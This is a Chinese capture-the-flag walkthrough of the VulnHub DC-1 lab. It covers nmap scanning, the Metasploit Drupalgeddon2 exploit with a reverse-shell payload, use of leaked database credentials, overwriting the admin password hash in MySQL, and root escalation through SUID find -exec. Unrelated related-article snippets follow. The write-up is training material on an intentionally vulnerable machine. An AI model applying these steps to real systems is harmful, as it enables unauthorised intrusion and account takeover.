vulnhub靶机 | DC-1 write-up

news/2024/5/19 23:40:37 标签: CTF, 渗透测试, 网络安全

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

搭建好环境,我们用nmap来扫描靶机的ip地址

nmap -sP 192.168.110.1/24

扫描到靶机的ip地址为192.168.110.174,那接下来我们来进行扫描一下端口

nmap -sV 192.168.110.174

发现开放一些22 ssh端口  80 web端口,那我们先访问一下web端口。

简单尝试了一下弱口令 admin admin 等账号密码,发现没有用,那我们就对其进行信息收集一下。

可以看到以上信息,可以看到一个cms是一个Drupal7的系统,我们就可以去搜索一下,该版本是否存在漏洞。

可以看到这里是存在一些可以直接拿到shell的漏洞的,这里讲解的是思路,应为MSF里面集成了这些漏洞,为了方便我们直接去MSF里面去进行漏洞利用。

有7个漏洞利用模块,当然这里没有具体版本,大家就要自己一个一个去尝试了。

这里尝试出这个模块是可以利用的。

exploit/unix/webapp/drupal_drupalgeddon2  #可利用模块

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2  #使用该模块

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set payload generic/shell_reverse_tcp  #设置payload

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.110.174  #设置靶机ip地址

配置完成

拿到shell,用ls列出额可以看到flag1.txt

接下来我们用cat来进行查看一下。

看到flag1.txt,且给出提示叫我们去看config配置文件。接下来我们就要找该cms的配置文件,那我们就可以在百度上搜索,该cms下的配置文件默认在哪里。

可以看到在sites/default/settings.php

那我们为了方便可以先用python脚本先完善一下我们的shell

python -c 'import pty; pty.spawn("/bin/bash")'

我们再用cat查看一下 settings.php文件

找到我们的flag2,并且有一段字,英文不够,百度翻译来凑

提示先放这,配置文件里面还有数据库账号密码,那我们可以利用这个账号密码去登陆数据库。

www-data@DC-1:/var/www/sites/default$ mysql -udbuser -pR0ck3t

登陆成功。然后就是在数据库里面寻找一下账号密码的操作了。发现在drupaldb数据库users表里面有账号密码。

我们查看一下这个表

select * from users;  #查看users表

可以看到账号admin和被进行加密了的密码,本来一般这种加密的密码都是拿过去暴力破解的,但是还记得我们前面的flag中的提示吗,暴力破解可能不是最好的方法,那么这里肯定有更好的方法去破解它。

这里有一种另外的思路,我这个用户是否存在写权限,有的话我们利用该中密码的加密方式加密一个我i们已知的密码,然后进行替换。那么此方法我们需要两个条件。

1、是否存在写入权限

mysql> show grants for dbuser@localhost;   #查看dbuser的权限

这里应该是拥有一个全部权限的,所以第一个条件满足。

2、是否已知该密码的加密方式

想要知道加密方式,因为我们知道该cms,所以我们可以去网上查找该cms的数据库密码是什么加密方式。在官网https://www.drupal.org/node/1023428找到加密脚本位置./script/password-hash.sh

满足以上两个条件,那我们就利用该种加密方式生成一个我们自己想要的密码,这里我么生成一个 123456

www-data@DC-1:/var/www$ php scripts/password-hash.sh 123456  #利用加密脚本生成一段123456的加密密文

接下来我们在登入数据库进行替换

mysql> update drupaldb.users set pass="$S$DaEJdTSzwxutfqOV79Iqvpgjytt0.qDw3AvLRSe5pcYpKz9xbUoR" where name="admin";   #用加密后的123456替换之前的admin的加密密码

替换成功后,那么我们admin账号的密码就为 123456 了。

那我们用我们修改后的密码进行登陆

登陆成功!

然后在Content里面可以看到flag3

并且提示

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

这里提示可以去看shadow文件,且可以用find提权。

我们先去查看一下passwd文件,因为shadow我们没有root权限暂时还看不了。

可以发现flag4在home目录下,那我们再去home目录下看一看

可以看到我们的flag4.txt并且提示在root目录下访问flag,想要进入root目录,那么我们就要进行提权操作了。前面提示可以用find提权,那么估计就是用suid的方法来进行提权了。那我们去查看一下哪些有suid权限位

find / -type f -perm -u=s 2>/dev/null     #查找具有suid的权限命令

可以看到有find命令,那我们就可以利用find来进行提权了。

flag4@DC-1:~$ touch getflag
flag4@DC-1:~$ find / -type f -name getflag -exec "whoami" \;
root
flag4@DC-1:~$ find / -type f -name getflag -exec "/bin/sh" \;

提权成功!接下来进入root目录

拿到最后一个flag。

 


http://www.niftyadmin.cn/n/1806714.html

相关文章

Meteor在手机上运行

在本章中,我们将学习如何在Android设备上运行你的应用程序。最近Meteor刚刚添加此功能适用于Windows操作系统,所以我们需要更新 Meteor 应用到 1.3测试版。注 在写的时候本教程的时候1.3版本 Meteor 处于测试阶段。 由于我们要使用 Meteor 最新版本&…

WordPress xmlrpc.php 漏洞利用

WordPress采用了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。 所以,你可要通过客户端来管理Wordpress。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时,XML-RPC 也可使用…

kali自带字典用法

路径:/usr/share/wordlists/ dirb big.txt #大的字典 small.txt #小的字典 catala.txt #项目配置字典 common.txt #公共字典 euskera.txt #数据目录字典 extensions_common.txt #常用文件扩展名字典 indexes.txt #首页字典 mutations_common.txt #备份扩展名 span…

libusb开发流程

前言 USB的用途就不多说了,下面的内容主要就是讲解如何利用ST提供的USB驱动库和libusb上位机驱动库实现一个USB数据传输功能,为了降低开发难度,我们仅仅讲解Bulk传输模式,当然这也是用得比较多的传输模式。开发流程 1,…

Linux Centos7 安装 docker 速度过慢最靠谱解决方法

1. 卸载旧版本 sudo yum remove \ docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine 2. 安装必要的系统工具 sudo yum install -y \ yum-utils \ device-mapper-persistent-data…

Python 一等函数

在 Python 中,函数是一等对象。编程语言理论家把“一等对象”定义为满 足下述条件的程序实体: 在运行时创建 能赋值给变量或数据结构中的元素 能作为参数传给函数 能作为函数的返回结果 把函数视作对象 Python 函数是对象。这里我们创建了一个函数&am…

网络安全总结好文(私人博客收录备份)

https://www.cnblogs.com/sfsec/p/15162635.html //最全windows提权总结(建议收藏) https://www.cnblogs.com/sfsec/p/15163907.html //最详细Linux提权总结(建议收藏) https://www.cnblogs.com/sfsec/p/15241860.html //MyS…

解决jquery easyui combotree(下拉树)点击文字无法展开下级菜单的解决方法

<div style"cursor: pointer;" class"tree-node" node-id"1001"> <span class"tree-indent"></span> //这个是展开图片前面的空白部分 <span class"tree-hit tree-collapsed"></span> //这个…